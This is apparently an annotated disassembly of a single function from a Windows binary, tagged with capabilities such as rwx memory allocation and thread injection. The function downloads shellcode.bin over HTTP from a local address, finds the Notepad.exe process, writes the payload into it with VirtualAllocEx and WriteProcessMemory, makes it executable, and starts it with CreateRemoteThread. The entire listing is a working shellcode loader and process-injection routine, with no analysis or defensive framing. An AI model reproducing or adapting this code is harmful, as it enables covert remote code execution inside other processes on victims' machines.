Function at 0x14001147e
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Enumerate process modules
Inject thread
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140012b50
push rbp
push rdi
mov eax, 0x10b8
call fcn.1400110f5
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2fe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140020008]
xor rax, rbp
mov qword [rbp + 0x1068], rax
lea rcx, [0x1400260f4]
call fcn.1400114ba
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012c00
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.InternetOpenA___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400132e2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x7400
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__192.168.1.10:8000_shellcode.bin
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012c87
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.InternetOpenUrlA___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0xa8], 0
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x48], rax
xor eax, eax
cmp eax, 1
je 0x140012e0e
lea r9, [rbp + 0x84]
mov r8d, 0x400
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140012d3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.InternetReadFile___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0x68], 0
jne 0x140012d78
mov eax, dword [rbp + 0x84]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x68], rax
jmp 0x140012d93
mov r8d, 0x42
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140012db8
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov eax, dword [rbp + 0x84]
mov ecx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0xa8]
sub rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x68]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rbp + 0x48]
call fcn.140011262
mov eax, dword [rbp + 0x84]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x48]
call fcn.1400113ca
cmp dword [rbp + 0x84], 0x400
jae 0x140012e09
jmp 0x140012e0e
jmp 0x140012cb6
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x984], 0x820
lea r8, [rbp + 0x944]
mov edx, dword [rbp + 0x984]
lea rcx, [rbp + 0x110]
call fcn.1400111f4
test eax, eax
jne 0x140012eac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.K32EnumProcesses___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov eax, dword [rbp + 0x944]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rbp + 0x964], eax
mov qword [rbp + 0x9a8], 0xffffffffffffffff
mov qword [rbp + 0x9c8], 0
mov dword [rbp + 0x9e4], 8
mov dword [rbp + 0xb54], 0
mov dword [rbp + 0xb74], 0
jmp 0x140012f06
mov eax, dword [rbp + 0xb74]
inc eax
mov dword [rbp + 0xb74], eax
mov eax, dword [rbp + 0x964]
cmp dword [rbp + 0xb74], eax
jae 0x140012fdd
movsxd rax, dword [rbp + 0xb74]
mov r8d, dword [rbp + rax*4 + 0x110]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x9a8], rax
lea r9, [rbp + 0xa04]
mov r8d, dword [rbp + 0x9e4]
lea rdx, [rbp + 0x9c8]
mov rcx, qword [rbp + 0x9a8]
call fcn.14001108c
mov r9d, 0x104
lea r8, [rbp + 0xa30]
mov rdx, qword [rbp + 0x9c8]
mov rcx, qword [rbp + 0x9a8]
call fcn.140011037
lea rdx, str.Notepad.exe
lea rcx, [rbp + 0xa30]
call fcn.14001152d
test eax, eax
jne 0x140012fd8
movsxd rax, dword [rbp + 0xb74]
mov eax, dword [rbp + rax*4 + 0x110]
mov dword [rbp + 0xb54], eax
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rbp + 0xb74]
mov r8d, dword [rbp + rax*4 + 0x110]
lea rdx, [rbp + 0xa30]
lea rcx, str.Process__s_found_and_its_PID:__d_n
call fcn.140011244
jmp 0x140012fdd
jmp 0x140012ef8
cmp dword [rbp + 0xb54], 0
jne 0x140013027
lea rdx, str.Process_not_found_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov r8d, dword [rbp + 0xb54]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x9a8], rax
cmp qword [rbp + 0x9a8], 0
jne 0x1400130aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.OpenProcess___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0xe8]
xor edx, edx
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xb98], rax
cmp qword [rbp + 0xb98], 0
jne 0x14001313d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.VirtualAllocEx___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
lea rdx, str.Memory_allocated_at_0x
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov rdx, qword [rbp + 0xb98]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xb98]
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400131fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1064], eax
lea rdx, str.WriteProcessMemory___failed
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110a0
mov ecx, dword [rbp + 0x1064]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400132e2
mov dword [rbp + 0xbb4], 0
lea rax, [rbp + 0xbb4]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
mov r8, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xb98]
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rbp + 0xbd8], 0xffffffffffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0xb98]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xbd8], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xbd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x9a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xbd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d100]
call fcn.14001141f
mov rax, rdi
mov rcx, qword [rbp + 0x1068]
xor rcx, rbp
call fcn.14001125d
lea rsp, [rbp + 0x1078]
pop rdi
pop rbp
ret